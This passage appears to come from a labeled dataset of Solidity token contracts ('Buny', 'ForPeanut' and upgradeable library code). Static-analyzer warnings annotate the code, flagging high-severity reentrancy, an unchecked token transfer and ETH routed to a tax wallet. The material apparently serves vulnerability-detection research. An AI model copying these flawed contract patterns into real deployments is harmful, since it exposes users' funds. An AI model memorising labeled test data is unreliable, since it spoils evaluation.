toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant _TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n _TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n override\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _name.toStringWithFallback(_nameFallback),\n _version.toStringWithFallback(_versionFallback),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n}\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {\n using Counters for Counters.Counter;\n\n mapping(address => Counters.Counter) private _nonces;\n\n bytes32 private constant _PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n bytes32 private _PERMIT_TYPEHASH_DEPRECATED_SLOT;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 00a1292): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 00a1292: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual override {\n\t\t// timestamp | ID: 00a1292\n require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n bytes32 structHash = keccak256(\n abi.encode(\n _PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n\n require(signer == owner, \"ERC20Permit: invalid signature\");\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override returns (uint256) {\n return _nonces[owner].current();\n }\n\n function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n function _useNonce(\n address owner\n ) internal virtual returns (uint256 current) {\n Counters.Counter storage nonce = _nonces[owner];\n\n current = nonce.current();\n\n nonce.increment();\n }\n}\n\ncontract Buny is ERC20, ERC20Permit {\n constructor() ERC20(\"Buny\", \"BUNY\") ERC20Permit(\"Buny\") {\n _mint(msg.sender, 420690000000000 * 10 ** decimals());\n }\n}\n",
"file_name": "solidity_code_10545.sol",
"size_bytes": 34087,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ForPeanut is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f971c6): ForPeanut._taxWallet should be immutable \n\t// Recommendation for 0f971c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac5cacb): ForPeanut._initialBuyTax should be constant \n\t// Recommendation for ac5cacb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: af430fc): ForPeanut._initialSellTax should be constant \n\t// Recommendation for af430fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1099bfd): ForPeanut._finalBuyTax should be constant \n\t// Recommendation for 1099bfd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f67166): ForPeanut._finalSellTax should be constant \n\t// Recommendation for 3f67166: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e55b1a1): ForPeanut._reduceBuyTaxAt should be constant \n\t// Recommendation for e55b1a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 696fb40): ForPeanut._reduceSellTaxAt should be constant \n\t// Recommendation for 696fb40: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bb256d): ForPeanut._preventSwapBefore should be constant \n\t// Recommendation for 0bb256d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ForPeanut\";\n\n string private constant _symbol = unicode\"GOPnut\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c276c3): ForPeanut._taxSwapThreshold should be constant \n\t// Recommendation for 0c276c3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02a9e1b): ForPeanut._maxTaxSwap should be constant \n\t// Recommendation for 02a9e1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 72bc503): ForPeanut.uniswapV2Router should be immutable \n\t// Recommendation for 72bc503: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5dee08a): ForPeanut.uniswapV2Pair should be immutable \n\t// Recommendation for 5dee08a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5383bdf): ForPeanut.sellsPerBlock should be constant \n\t// Recommendation for 5383bdf: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: da813ca): ForPeanut.buysFirstBlock should be constant \n\t// Recommendation for da813ca: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7bb7a6e): ForPeanut.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7bb7a6e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b9ad754): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b9ad754: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99512e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99512e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b9ad754\n\t\t// reentrancy-benign | ID: 99512e5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b9ad754\n\t\t// reentrancy-benign | ID: 99512e5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4976e2d): ForPeanut._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4976e2d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 99512e5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b9ad754\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 99d82d6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 99d82d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 636dcee): ForPeanut._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 636dcee: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a7c358): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a7c358: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 380a3ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 380a3ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 636dcee\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 99d82d6\n\t\t\t\t// reentrancy-eth | ID: 6a7c358\n\t\t\t\t// reentrancy-eth | ID: 380a3ca\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 99d82d6\n\t\t\t\t\t// reentrancy-eth | ID: 6a7c358\n\t\t\t\t\t// reentrancy-eth | ID: 380a3ca\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 380a3ca\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 380a3ca\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 99d82d6\n\t\t\t\t// reentrancy-eth | ID: 6a7c358\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 99d82d6\n\t\t\t\t\t// reentrancy-eth | ID: 6a7c358\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6a7c358\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 99d82d6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6a7c358\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6a7c358\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 99d82d6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b9ad754\n\t\t// reentrancy-events | ID: 99d82d6\n\t\t// reentrancy-benign | ID: 99512e5\n\t\t// reentrancy-eth | ID: 6a7c358\n\t\t// reentrancy-eth | ID: 380a3ca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8674e36): ForPeanut.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8674e36: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b9ad754\n\t\t// reentrancy-events | ID: 99d82d6\n\t\t// reentrancy-eth | ID: 6a7c358\n\t\t// reentrancy-eth | ID: 380a3ca\n\t\t// arbitrary-send-eth | ID: 8674e36\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fab0aeb): ForPeanut.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for fab0aeb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: fab0aeb\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c69c5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c69c5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9b54054): ForPeanut.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9b54054: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e09b28a): ForPeanut.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e09b28a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7547d1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7547d1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 0c69c5c\n\t\t// unused-return | ID: e09b28a\n\t\t// reentrancy-eth | ID: 7547d1e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0c69c5c\n\t\t// unused-return | ID: 9b54054\n\t\t// reentrancy-eth | ID: 7547d1e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0c69c5c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7547d1e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 0c69c5c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10546.sol",
"size_bytes": 23165,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary AddressUpgradeable {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!AddressUpgradeable.isContract(address(this)) &&\n _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {}\n\n function __Context_init_unchained() internal onlyInitializing {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n\n uint256[50] private __gap;\n}\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n 